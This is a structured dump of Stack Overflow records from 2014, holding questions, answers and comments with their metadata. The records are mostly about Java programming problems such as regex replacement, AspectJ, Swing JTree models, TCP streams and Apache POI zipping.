comment on: http://stackoverflow.com/a/22203263
score: 0
type: Comment
has text: The company that I'm using runs two different websites. One is theprintful.com and the other one is behappy.me. The printful is the one that offers the api. What do I need to do about a certificate. I don't have one and there is nothing about using one in their documentation.

http://stackoverflow.com/comment/33746171
has text: Why are you casting the result of parse to a Date when it's a date already?
comment on: http://stackoverflow.com/q/22225386
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/22303784
accepted answer: http://stackoverflow.com/a/22303823
type: AnsweredQuestion
score: 2
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22303843
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/22303823
possible better answer: http://stackoverflow.com/a/22303843
has body: Trying the replace only the EXACT &amp; WHOLE OCCURRENCES of pattern using the following code. Apparently you in you'll is being replaced as @@@'ll. But what I want is only you to be replaced. Please suggest. import java.util.*; import java.io.*; public class Fielreadingtest{ public static void main(String[] args) throws IOException { String MyText = "I knew about you long before I met you. I also know that you’re an awesome person. By the way you’ll be missed. "; String newLine = System.getProperty("line.separator"); System.out.println("Before:" + newLine + MyText); String pattern = "\\byou\\b"; MyText = MyText.replaceAll(pattern, "@@@"); System.out.println("After:" + newLine +MyText); } } /* Before: I knew about you long before I met you. I also know that you’re an awesome person. By the way you’ll be missed. After: I knew about @@@ long before I met @@@. I also know that @@@’re an awesome person. By the way @@@’ll be missed. */ This being said I have an input file which contains a list of words that I want to skip which looks like this: Now as per @Anubhav I have to use (^|\\s)you([\\s.]|$) to replace exactly you but not anything else. Is my best bet to use a tool like notepad++ and pre &amp; post fix all my input words as above or change something in the code itslef. The code I'm using is this: for (String pattern : patternsToSkip) { line = line.replaceAll(pattern, ""); } source: https://www.cloudera.com/content/cloudera-content/cloudera-docs/HadoopTutorial/CDH4/Hadoop-Tutorial/ht_wordcount2_source.html?scroll=topic_7_1
tagged with: regex
favorite count: 0
has title: Deal with apostrophe in java regex in replaceALL
upvote count: 2

http://stackoverflow.com/q/22270363
accepted answer: http://stackoverflow.com/a/22295197
has title: How to capture the parameters of System.out.println() in AspectJ's aspect and display in pointcut?
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22295163
has answer: http://stackoverflow.com/a/22295163
has body: I am very new to AspectJ...just started to learn. Till now i am able to get the parameters of user defined method in my aspect and print the captured parameter in my pointcut. Curiously i started to think to print the contents of System.out.println() in my pointcut's advice and written the following simple code: HelloClass.java: public class HelloClass { public static void main(String a[]) { System.out.println("hello sachin"); } } HelloAspect.java: public aspect HelloAspect { pointcut callPointcut(String message ) :call(void java.lang.System.out.println(String))&amp;&amp; args(message); before( String message) : callPointcut(message ) { System.out.println("Fetced in point cut:"+message); //System.out.println("In the advice attached to the call pointcut"); } } Then i compiled both the files using ajc HelloClass.java HelloAspect.java It compiled successfully with one worning as follows: and when i run program using java HelloClass it Outputs as: Hello sachin where it should be as Fetced in point cut:Hello sachin. So can anyone point out where i am going wrong or missing something . .Thank you in advance . .
upvote count: 3
tagged with: java
tagged with: aspectj
tagged with: aop
has answer: http://stackoverflow.com/a/22295197
type: AnsweredQuestion
score: 3
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33688870
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22171962
has text: 3. err_pid file for JVM crash. And there is: # An unexpected error has been detected by HotSpot Virtual Machine: # Java VM: Java HotSpot(TM) Server VM (1.5.0_03-b07 mixed mode) # Problematic frame: # C [libc.so.6+0x276f6] _setjmp+0x6

http://stackoverflow.com/q/22203409
tagged with: taglib
tagged with: java
has comment: http://stackoverflow.com/comment/33715744
has answer: http://stackoverflow.com/a/41682270
tagged with: eclipse
type: Question
answer count: 2
score: 2
downvote count: 0
tagged with: jsf-2.2
favorite count: 0
has answer: http://stackoverflow.com/a/39313504
has comment: http://stackoverflow.com/comment/52509611
has title: JSF 2.2 Facelet taglib not found for passthrough attribute
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/33712249
has body: I am trying to use placeholders from HTML5 but I am getting a warning when including the taglib: xmlns:pt="http://xmlns.jcp.org/jsf/passthrough" The warning is saying it cannot locate the tag library NLS missing message: CANNOT_FIND_FACELET_TAGLIB in: org.eclipse.jst.jsf.core.validation.internal.facelet.messages But when using the following tag anyway &lt;h:inputText class="box" pt:placeholder="Message"/&gt; This does actually render the placeholder (when not using eclipse inbuilt browser) so the tag library appears to be there. I am wondering is there either a way to disable this warning or preferably force eclipse to find the library? Having looked about for a solution I've seen that it may be an issue with JSF Mojarra 2.2 but I can't seem to update it to the latest (2.25 I think) in eclipse.
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/33731877
type: QuestionComment
comment on: http://stackoverflow.com/q/22211887
score: 0
has text: it might be stupid thing to ask but you have flushed the session right?
type: Comment

http://stackoverflow.com/comment/33652438
type: Comment
has text: No variable defined for `features` in Class `GsonCNItem` may be you can use `String[] features`
comment on: http://stackoverflow.com/q/22172607
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33708279
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22202930
type: Comment
has text: @AminAbu-Taleb Thank you so much for taking the time to help me! Now I can finish writing the rest of the code :)

http://stackoverflow.com/a/22207534
type: AcceptedAnswer
type: Answer
upvote count: 4
has body: You can use builder.setIcon() method by specifying drawable or id of the resource: AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this) .setIcon(R.drawable.ic_launcher) //using id of the drawable resource
accepted answer of: http://stackoverflow.com/q/22207485
downvote count: 0
answers question: http://stackoverflow.com/q/22207485
score: 4
has comment: http://stackoverflow.com/comment/33715482

http://stackoverflow.com/a/22215055
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33729142
has body: Java TCP client: you should use DataInputStream and DataOutputStream separately to send and receive data: try { mOutStream = new DataOutputStream(mClientSocket.getOutputStream()); mInStream = new DataInputStream(mClientSocket.getInputStream()); } catch (Exception e) { e.printStackTrace(); } Example of manipulating the output data stream (send out): public static void WriteString(DataOutputStream os, String value) throws IOException { if (value!=null) { byte[] array = value.getBytes(CHARSET); WriteBuffer(os,array); } else { WriteInt(os,0); } } public static void WriteBuffer(DataOutputStream os, byte[] array) throws IOException { if ((array!=null) &amp;&amp; (array.length &gt; 0) &amp;&amp; (array.length &lt;= MAX_BUFFER_SIZE)) { WriteInt(os,array.length); os.write(array); //os.flush(); } else { WriteInt(os,0); } } public static void WriteInt(DataOutputStream os, int value) throws IOException { byte[] intAsBytes = ConvertIntToBytes(value); os.write(intAsBytes); //os.flush(); } Example of using Input stream (receive): public static String ReadString(DataInputStream is) throws IOException { String ret=null; int len = ReadInt(is); if ((len == 0) || (len &gt; MAX_BUFFER_SIZE)) { ret = ""; } else { byte[] buffer = new byte[len]; is.readFully(buffer, 0, len); ret = new String(buffer, CHARSET); } return (ret); } public static int ReadInt(DataInputStream is) throws IOException { int ret=0; byte[] intAsBytes = new byte[4]; // this will just block forever... is.readFully(intAsBytes); ret = ConvertBytesToInt(intAsBytes); return (ret); } public static int ConvertBytesToInt( byte[] array) { int rv = 0; for ( int x = 3; x &gt;= 0; x-- ) { long bv = array[ x ]; if ( x &lt; 3 &amp; bv &lt; 0 ) // keeping the sign intact??? bv +=256; //rv *= 256; rv = rv &lt;&lt; 8; rv += bv; } return rv; }
has comment: http://stackoverflow.com/comment/33728800
answers question: http://stackoverflow.com/q/22214926

http://stackoverflow.com/comment/33873895
comment on: http://stackoverflow.com/a/22292058
type: Comment
has text: FXForm2 is really cool for form validation (for field and class level). I will write a complete guide for it this week, with validation and some other stuff example
score: 1
type: AnswerComment

http://stackoverflow.com/a/22239706
answers question: http://stackoverflow.com/q/22239525
score: 0
has body: This example changes the maximum iteration of J dynamically. We first initialize jMAX as i, and then iterates starting from 1, if it is a factor, then set jMAX as the result, for example, the factor of 10 is 2, the result is 5, we know that another factor cannot be between 5-10, since the divisor will be less than 2. After that, jMAX is reset to 100. int jMAX; for(int i=2; i &lt;= 100; i++) { System.out.print("Factors of " + i + ": "); jMAX = i; for(int j=1; j &lt; jMAX; j++) { if((i%j) == 0) { jMAX = i/j; if(j!=jMAX){ System.out.print(j +" "+ jMAX+" "); } else{ System.out.print(j+" "); } } } jMAX =100; System.out.println(); } number of iterations: 1950, which is 3000 iteration lesser
type: Answer

http://stackoverflow.com/comment/33850156
has text: @BryanPendleton this is just select request . as I said in my question "when I try to display the contained data of the view", and I can see the blob when I do my select from the table
score: 0
comment on: http://stackoverflow.com/q/22201006
type: Comment
type: QuestionComment

fxml
tags question: http://stackoverflow.com/q/22270994
tags question: http://stackoverflow.com/q/22243243
tags question: http://stackoverflow.com/q/22299229
tags question: http://stackoverflow.com/q/22178533
tag name: fxml
type: Tag
tags question: http://stackoverflow.com/q/22238246

http://stackoverflow.com/comment/33761798
type: Comment
comment on: http://stackoverflow.com/a/22230615
has text: I'll post my editions in your code as an answer, maybe you can show me your considerations there.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33924541
comment on: http://stackoverflow.com/q/22323959
score: 0
type: QuestionComment
type: Comment
has text: if you want to retain some data even after closing your app then you need to persist data somewhere and that somewhere will be a file or database. now if you do not want .txt then you can serialize/deserialize your java objects

http://stackoverflow.com/comment/33850268
score: 1
has text: You can easily run a test and see if your answer is correct.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22282333

http://stackoverflow.com/comment/33953219
score: 1
comment on: http://stackoverflow.com/q/22316954
type: QuestionComment
type: Comment
has text: If I start from zero, the error doesn't appear at all. The old forms were probably corrupted, I don't know. This is my first time with BIRT and I'm still trying to get a feel for it.

http://stackoverflow.com/a/22324453
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22324404
has comment: http://stackoverflow.com/comment/33925166
has comment: http://stackoverflow.com/comment/33925211
has body: Never-ever use == for Java string comparison. Use equals(). P.S. Okay, there might be some cases where == would be suitable. But for the vast majority of situations, equals() is the way to go.

http://stackoverflow.com/comment/34104709
type: QuestionComment
has text: Why do you need each test to run in a separate JVM?
comment on: http://stackoverflow.com/q/22258623
score: 0
type: Comment

http://stackoverflow.com/comment/33717341
comment on: http://stackoverflow.com/a/22208738
has text: I tried it too, but getResource() returns URL object, which is not applicable for the Image constructor...
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22293817
has comment: http://stackoverflow.com/comment/33871418
answers question: http://stackoverflow.com/q/22293801
has body: Worth mentioning String#toLowerCase: name.toLowerCase().equals("me"); Or simply use String#equalsIgnoreCase: name.equalsIgnoreCase("me");
has comment: http://stackoverflow.com/comment/33871595
has comment: http://stackoverflow.com/comment/33934026
has comment: http://stackoverflow.com/comment/33871108
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33911329
accepted answer of: http://stackoverflow.com/q/22293801
has comment: http://stackoverflow.com/comment/33871002
upvote count: 8
type: Answer
has comment: http://stackoverflow.com/comment/33871013
score: 8
has comment: http://stackoverflow.com/comment/33871520
has comment: http://stackoverflow.com/comment/33871134
has comment: http://stackoverflow.com/comment/33871061
has comment: http://stackoverflow.com/comment/33871165
has comment: http://stackoverflow.com/comment/33913392
has comment: http://stackoverflow.com/comment/33933855

http://stackoverflow.com/a/22285611
answers question: http://stackoverflow.com/q/22285544
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33858140
upvote count: 1
has body: 2) To access seatID, you need an accessor (normally called getSeatID()) in the PlaneSeat class. public int getSeatID () { return seatID; } 1) private int PlaneSeat; PlaneSeat [] seats = new PlaneSeat[12]; You don't need to declare private int PlaneSeat, which doesn't actually make sense. Should be private PlaneSeat seat; or something... PlaneSeat[] seats = new PlaneSeat[12]; creates a new array of PlaneSeat objects with a size of 12. private int PlaneSeat[] = { 1,2,3,4,5,6,7,8,9,10,11,12}; Again, this should be private PlaneSeat[] seats; To create your seats, you would first declare your seat array PlanetSeat[] seats = new PlaneSeat[12]; Then you can use a loop to fill the seats: for (int i = 1; i &lt;= 12; i++) { seats[i-1] = new PlaneSeat(i); }
has comment: http://stackoverflow.com/comment/33857031
type: Answer

http://stackoverflow.com/a/22198921
has comment: http://stackoverflow.com/comment/33698892
has body: replace the breaks with continues, it's a loop you're running. if (message.equalsIgnoreCase("!highfivetest")){ for(int i2 = 0; i2 &lt; moderatoren.length; i2++){ if (sender.equals(moderatoren[i2])){ sendMessage (channel, "!highfive"); continue; }else{ sendMessage(channel, "Nur eingetragene Moderatoren haben Zugriff auf diesen Befehl. Sry &lt;3"); continue; } } } That should work, continue is the c++ syntax for it as I'm unfamiliar with java but if you hunt there will be a similar line in the java language if it isn't continue.
answers question: http://stackoverflow.com/q/22198818
has comment: http://stackoverflow.com/comment/33699415
has comment: http://stackoverflow.com/comment/33699136
score: 0
has comment: http://stackoverflow.com/comment/33699007
has comment: http://stackoverflow.com/comment/33699214
type: Answer

http://stackoverflow.com/comment/33760595
type: QuestionComment
has text: This is unclear. It looks (from the fact that you have given us the code for its methods) like `SortedTree` is a class you are writing. (Perhaps as an exercise?) It doesn't appear to be a standard Java class, anyway. But, assuming you don't *have* to use `SortedTree` (whatever it is), you'd be better off with a `List<String>`. Use `Collections.sort()` to sort the list first. Then use `for(String s : myNames) { ... }` to iterate the strings, and pick the ones you want (using your current `if`).
comment on: http://stackoverflow.com/q/22232417
score: 0
type: Comment

http://stackoverflow.com/comment/41084294
comment on: http://stackoverflow.com/a/23851091
type: Comment
score: 1
has text: Wow, this is crazy that they haven't gotten it fixed after all this time.
type: AnswerComment

http://stackoverflow.com/q/22318926
tagged with: mysql
upvote count: 1
type: Question
tagged with: java
tagged with: jboss
has comment: http://stackoverflow.com/comment/33915851
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33967456
has body: &gt; 2014-03-11 07:15:42,091 WARN [JBossManagedConnectionPool] Destroying &gt; connection that could not be successfully matched: &gt; org.jboss.resource.connectionmanager.TxConnectionManager$TxConnectionEventListener@7af45a93[state=DESTROYED &gt; mc=org.jboss.resource.adapter.jdbc.local.LocalManagedConnection@590c8c4e handles=0 lastUse=1394521919166 permit=false trackByTx=false &gt; mcp=org.jboss.resource.connectionmanager.JBossManagedConnectionPool$OnePool@46cf828e &gt; context=org.jboss.resource.connectionmanager.InternalManagedConnectionPool@61845cf3 &gt; xaResource=org.jboss.resource.connectionmanager.TxConnectionManager$LocalXAResource@4066a7f5 &gt; txSync=null] &gt; &gt; 2014-03-11 07:15:42,161 WARN [JDBCExceptionReporter] SQL &gt; Error: 0, SQLState: 22001 &gt; &gt; 2014-03-11 07:15:42,161 ERROR &gt; [JDBCExceptionReporter] Data truncation: Incorrect datetime value: '' &gt; for column 'lastLoginTS' at row 1
type: UnansweredQuestion
has title: Caused by: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Incorrect datetime value: '' for column
answer count: 0
score: 1

http://stackoverflow.com/comment/33723390
type: QuestionComment
score: 6
comment on: http://stackoverflow.com/q/22211588
has text: That is a very expensive way of doing it. Why not rather create 3 pipes and when one goes offscreen (behind your bird), just reset it's position and properties and use it as the new pipe. You could then store the pipes in a simple array and do allocation at startup.
type: Comment

http://stackoverflow.com/comment/33840367
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22276589
has text: @ajb I only tried to solve the `NullPointerException`. Below the solution of this problem, added a comment explaining that it would be better adding the elements inside this `int[] a` array instead of `valuelist1`. What OP really tries to achieve, is a mistery.

http://stackoverflow.com/a/22249178
type: AcceptedAnswer
has body: First idea, use an ArrayList and remove the team when you choose it: ArrayList&lt;String&gt; team = new ArrayList&lt;String&gt;(); team.add("Astonvilla"); team.add("Realmadrid"); team.add("Ajax"); team.add("Barcelona"); team.add("Manunited"); String [] result={"0","1","2"}; for(int i = 0; i &lt; 3; i++) { int chooseTeam = (int)(Math.random()*team.size()); int chooseResult = (int)(Math.random()*result.length); System.out.println("Team is " + team.get(chooseTeam) + " Result is " + result[chooseResult]); team.remove(chooseTeam); } Second idea, put the team at the end of the array, and exclude the end of the array from your possible choices: String [] team = {"Astonvilla", "Realmadrid", "Ajax", "Barcelona", "Manunited"}; for(int i = 0; i &lt; 3; i++) { String [] result={"0","1","2"}; int chooseTeam = (int)(Math.random()*(team.length-i)); int chooseResult = (int)(Math.random()*result.length); System.out.println("Team is " + team[chooseTeam] + " Result is " + result[chooseResult]); String teamName = team[team.length-1]; team[team.length-1] = team[chooseTeam]; team[chooseTeam] = teamName; } Third idea, keep the numbers you have already chosen, and if you get them again, do a new random: HashSet&lt;Integer&gt; alreadyUsed = new HashSet&lt;Integer&gt;(); for(int i = 0; i &lt; 3; i++) { String [] team = {"Astonvilla", "Realmadrid", "Ajax", "Barcelona", "Manunited"}; String [] result={"0","1","2"}; int chooseTeam; do { chooseTeam = (int)(Math.random()*team.length); } while (alreadyUsed.contains(chooseTeam)); alreadyUsed.add(chooseTeam); int chooseResult = (int)(Math.random()*result.length); System.out.println("Team is " + team[chooseTeam] + " Result is " + result[chooseResult]); }
type: Answer
has comment: http://stackoverflow.com/comment/33790539
has comment: http://stackoverflow.com/comment/33790060
accepted answer of: http://stackoverflow.com/q/22248987
score: 0
answers question: http://stackoverflow.com/q/22248987

http://stackoverflow.com/a/22283965
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22283941
accepted answer of: http://stackoverflow.com/q/22283941
has body: You are trying to re-assign to the variable i, which has already been defined as an int. Just use another variable name for the file, like this: for (int i=0; i&lt; 10; i++) { File foo = new File("C:\\Users\\User\\Desktop\\FOLDER- OS test\\primer" + i + ".txt"); foo.createNewFile(); }
upvote count: 3
type: Answer
score: 3

http://stackoverflow.com/comment/33763614
type: Comment
comment on: http://stackoverflow.com/a/22234124
type: AnswerComment
has text: I assume you are trying to establish a correspondence between two texts, based on a transformation function. That transformation function should not be ambiguous. So, you should establish if 11 corresponds to k OR aa. Both transformation should not be valid at the same time.
score: 0

http://stackoverflow.com/comment/33754217
comment on: http://stackoverflow.com/q/22229497
score: 0
type: QuestionComment
has text: If you could show us the lines of code immediately around the line that the exception was thrown on, that would help.
type: Comment

http://stackoverflow.com/comment/33889560
comment on: http://stackoverflow.com/q/22304129
score: 0
has text: Post the code where you call these methods and an example of the file to be read.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22276616
downvote count: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22276702
tagged with: swt
has title: How to remove listener in Eclipse Widget on dispose?
has comment: http://stackoverflow.com/comment/33840327
upvote count: 1
type: Question
type: AnsweredQuestion
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22276702
tagged with: eclipse
has body: I'm making a component in SWT which listens to events in other components. However, when that component is disposed, it is still registered as a listener. I want to know how to get rid of this listener automatically when the this component is being disposed. Here's what I mean: public myDialog implements SelectionListener, ModifyListener { public Button myButton = new Button(); public myDialog(){//constructor anotherPage.someButton.addSelectionListner(this); myButton.addSelectionListner(this); } public void widgetSelected(SelectionEvent e){ if(e.getSource()==anotherPage.someButton){ //do something } else if(e.getSource()==myButton){ //do something else } } } public anotherPage extends AbstractSystemWizardPage{ public Button someButton=new Button(); //... } myDialog listens to both its own button and a button in anotherPage. It doesn't make sense if user decides to dispose myDialog (close the dialog) but it still listens to someButton. How do I remove it on dispose?

http://stackoverflow.com/comment/33706896
score: 0
type: Comment
type: QuestionComment
has text: Is it an option to only store one key-value pair and do some modulo (or other) conversion before doing a `get()`? It works well if your key generation follows specific rules.
comment on: http://stackoverflow.com/q/22203083

http://stackoverflow.com/comment/33759014
comment on: http://stackoverflow.com/q/22232232
score: 0
type: QuestionComment
type: Comment
has text: right now i dont have a compiler to enable and disable assert.

http://stackoverflow.com/q/22317870
has title: JTree from ArrayList not displaying nodes
has comment: http://stackoverflow.com/comment/33914429
tagged with: swing
type: AnsweredQuestion
has body: I have a custom data structure that is basically just a named ArrayList of ArrayLists. Similar to XML. (have stripped out un-nesecary code) public class Element extends ArrayList&lt;Element&gt; { private String name; public Element(String n){ name = n; } @Override public String toString(){ return name; } } I am trying to display this in a JTree using a custom TreeModel class. However the JTree does not display properley. Only one node is displayed at the end of a branch, when the child node is selected it shows the last child node but when un-selected it shows the first child node, but still at the end of the branch. From extensive de-bugging I can see it reads the all the child nodes and count correctly it just doens't display them. I suspect they are all being displayed on top of each other but don't know why or what to do about it. Any thoughs appreciated. public class TestModel implements TreeModel{ Element data; TestModel(){ data = new Element("data"); data.add(new Element("One")); data.add(new Element("Two")); data.add(new Element("Three")); data.add(new Element("Four")); data.add(new Element("Five")); } @Override public Object getRoot() { return data; } @Override public Object getChild(Object parent, int index) { if(parent instanceof Element){ Element p = (Element)parent; Element child = p.get(index); return child; } return null; } @Override public int getChildCount(Object parent) { if(parent instanceof Element){ Element e = (Element)parent; return e.size(); } return 0; } @Override public int getIndexOfChild(Object parent, Object child) { if(parent instanceof Element){ Element e = (Element)parent; return e.indexOf(child); } return -1; } @Override public boolean isLeaf(Object node) { //List&lt;? super ArrayList&gt; d = (List&lt;? super ArrayList&gt;) node; if(node instanceof Element){ Element e = (Element)node; return e.isEmpty(); } return true; } }
tagged with: java
accepted answer: http://stackoverflow.com/a/22318289
type: Question
tagged with: jtree
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/22318289

http://stackoverflow.com/q/22196475
has comment: http://stackoverflow.com/comment/33694471
tagged with: java
upvote count: 1
tagged with: swing
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22196633
tagged with: jpanel
score: 0
answer count: 1
favorite count: 0
has body: I'm a java beginner, and I'm now on the GUI. My problem is that to make my gui I've made several panel in different classes like connexion panel, menu panel etc... and for each panel I've a button which should interact with my JFrame window. So I don't know for example how the button in the menu will interact with my JFrame window (which is in a different class) to refresh it and then to put another panel to replace it .If someone can help please?
tagged with: jframe
type: UnansweredQuestion
has title: ActionListener to refresh JFrame from a Jpanel
has comment: http://stackoverflow.com/comment/33694537

http://stackoverflow.com/q/22327173
has answer: http://stackoverflow.com/a/22328598
has title: Calculating Threats
has answer: http://stackoverflow.com/a/22327455
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/22327783
has comment: http://stackoverflow.com/comment/33953790
has comment: http://stackoverflow.com/comment/33930242
answer count: 3
has comment: http://stackoverflow.com/comment/33930264
favorite count: 0
type: UnansweredQuestion
has body: I have to implement connect4 with a simulated intelligence. It already works, but it is very slow. We have to get al the threats of the two Player. a threat is 3 coins ina row with a empty field between or at the ends of the row. I want to calculate only the new threats after every move and delete the threats which are no longer thhreats. I wrote some methods to check every direction if there is a new threat from the last move. private Field row(int row, int column, String Player) { Field field = null; if(column - 1 &gt;= 0 &amp;&amp; column + 1 &lt; board.getColumn() &amp;&amp; board.getValue(row, column-1).equals(Player) &amp;&amp; board.getValue(row, column+1).equals(Player)) { if(column -2 &gt;= 0 &amp;&amp;board.getValue(row, column-2).equals(" ")) { return field = new Field(row, column -2); } else if(column + 2 &lt; board.getColumn()&amp;&amp; board.getValue(row, column+2).equals(" ")) { return field = new Field(row, column +2); } } else if(column - 2 &gt;= 0 &amp;&amp; board.getValue(row, column-1).equals(Player) &amp;&amp; board.getValue(row, column-2).equals(Player)) { if(column -3 &gt;= 0 &amp;&amp;board.getValue(row, column-3).equals(" ")) { return field = new Field(row, column -3); } else if(column +1 &lt; board.getColumn()&amp;&amp; board.getValue(row, column+1).equals(" ")) { return field = new Field(row, column +1); } } else if(column +2 &lt; board.getColumn() &amp;&amp; board.getValue(row, column+1).equals(Player) &amp;&amp; board.getValue(row, column+2).equals(Player)) { if(column -1 &gt;= 0 &amp;&amp;board.getValue(row, column-1).equals(" ")) { return field = new Field(row, column -1); } else if(column +3 &lt; board.getColumn()&amp;&amp; board.getValue(row, column+3).equals(" ")) { return field = new Field(row, column +3); } } else if(column - 2 &gt;= 0 &amp;&amp; column + 1 &lt; board.getColumn() &amp;&amp; board.getValue(row, column-2).equals(Player) &amp;&amp; board.getValue(row, column+1).equals(Player)) { if(column -1 &gt;= 0 &amp;&amp;board.g…
linked to: http://stackoverflow.com/q/1056316
score: 2
downvote count: 0
tagged with: java

http://stackoverflow.com/comment/33889364
type: Comment
type: QuestionComment
has text: I will explain the new method, however my question is independent of that. I am tired of deleting and adding SWT.jar every time I do a build and wanted to know if Eclipse provided a cleaner way to do multi-platform development. I come out with different build regularly, and a streamlined approach would be nice.
comment on: http://stackoverflow.com/q/22303755
score: 0

http://stackoverflow.com/q/22203848
has body: I have application, which loads data from network on press Next button. I want add prev button and possibility to show previous data without request in network. How can I realize this? I looking at Volley library, but I don't know have Volley this feature or not
has answer: http://stackoverflow.com/a/22204066
type: AnsweredQuestion
type: Question
tagged with: android
accepted answer: http://stackoverflow.com/a/22204066
score: 0
answer count: 1
has title: Get objects queue from network and walk prev/next
tagged with: java
tagged with: android-networking

http://stackoverflow.com/comment/33744379
type: Comment
has text: no it doesnt pop up, i get errors like: at assignment_work.actionPerformed(assignment_work.java:290) at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2028) at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2351) at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:387) at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:242) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:236)
comment on: http://stackoverflow.com/a/22224067
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33782029
type: Comment
has text: The first way does not make much sense. SharedPreference is advised to use when you are intended to persist changes even after the app is closed.
comment on: http://stackoverflow.com/a/22244455
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33757917
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22225040
has text: It's completely unclear to me how you are deploying this.
score: 0

http://stackoverflow.com/comment/88599221
has text: For gradle, what should I write in build.gradle?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/41416829

http://stackoverflow.com/a/29644734
upvote count: 4
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22261286
type: Answer
has comment: http://stackoverflow.com/comment/71135993
has body: I use this in my fragment, this is called twice. 1) when you go out of screen 2) when fragment is first created. TO solve check this link @Override public void setUserVisibleHint(boolean visible){ super.setUserVisibleHint(visible); if (!visible){ //when fragment becomes invisible to user,do what you want... } }
has comment: http://stackoverflow.com/comment/71135835

http://stackoverflow.com/comment/33746621
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22225703
has text: I could not give better answer.
type: AnswerComment

http://stackoverflow.com/comment/34009274
type: Comment
has text: Thanks! Is there any online document about model improvement?
comment on: http://stackoverflow.com/a/22323178
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33792368
comment on: http://stackoverflow.com/q/22250507
has text: @DuskFall I asked you whether you've tested the `Obejct a, b` code. Does it really changes the value of `a`? It can never do that.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/33840167
score: 2
comment on: http://stackoverflow.com/q/22276587
has text: Create an abstract class that extends `Fragment` and implements `MyInterface`. Make your implementations extends this class. And use that with `Class`.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33768431
score: 9
type: Comment
has text: For the "faster" bit, opinions are useless and benchmarks are mandatory.
type: QuestionComment
comment on: http://stackoverflow.com/q/22236928

http://stackoverflow.com/comment/33668818
has text: I have a feeling that "-keep class com.example.** { <init>(...); }" matches any class below com.example package, and because of that even classes that additionally match the second and third rules are kept as is.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22179579

http://stackoverflow.com/comment/33832064
type: Comment
score: 0
type: AnswerComment
has text: The first line sets the empty `JButton btnNewButton_1` to a new JButton with the name displayed on the button as "New". After that there are options you can set for the JButton. You must also add the button to your window for it to be usable.
comment on: http://stackoverflow.com/a/22272129

http://stackoverflow.com/q/22321790
has title: XSSFWorkbook write method closing output steam implicitly
tagged with: java
has comment: http://stackoverflow.com/comment/33927981
tagged with: servlets
score: 2
tagged with: zipoutputstream
has comment: http://stackoverflow.com/comment/33930873
downvote count: 0
answer count: 0
type: UnansweredQuestion
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/33926093
tagged with: xssf
tagged with: apache-poi
has body: Hi I'm uploading msexcel 2007 and after evaluation I'm zipping multiple XSSFWorkbooks to a single zip file. On writing my workbook to file it is implicitly closing outputsteam but I want more entries to be created in zip file.On calling method closeEntry of ZipOutputStream it is throwing exception java.io.IOException: Stream closed.This is my code // offer the user the option of opening or downloading the // resulting Excel file // Create the ZIP file String outFilename = "review.zip"; response.setContentType("application/zip"); response.setHeader("Content-Disposition", "attachment; filename=" + outFilename); List items = upload.parseRequest(request); Iterator iterator = items.iterator(); ZipOutputStream out = new ZipOutputStream(new FileOutputStream( outFilename)); while (iterator.hasNext()) { FileItem item = (FileItem) iterator.next(); if (!item.isFormField()) { String fileName = item.getName(); System.out.println("filename:- " + fileName); XSSFWorkbook workbook = Test.review(fileName, (FileInputStream) item.getInputStream()); out.putNextEntry(new ZipEntry(fileName)); workbook.write(out);// This part is closing output stream implicitly // Close the entry out.closeEntry();// This part is throwing exception } } out.close(); out.finish();
upvote count: 2

http://stackoverflow.com/comment/33895584
type: QuestionComment
comment on: http://stackoverflow.com/q/22306477
score: 0
has text: I'll edit the question for place holder fragment
type: Comment

http://stackoverflow.com/comment/33825077
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22261244
has text: Yes, that's the best implementation. You could test for null, but returning "" when a null value is passed could hide an error. Some would throw a InvalidArgumentException, but letting the NullPointerException go wouldn't shock me here.

http://stackoverflow.com/comment/33871622
has text: Thank you, but clean panel content is not really suitable for me. I must create new tabs.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22219603

http://stackoverflow.com/a/22190653
has comment: http://stackoverflow.com/comment/33734064
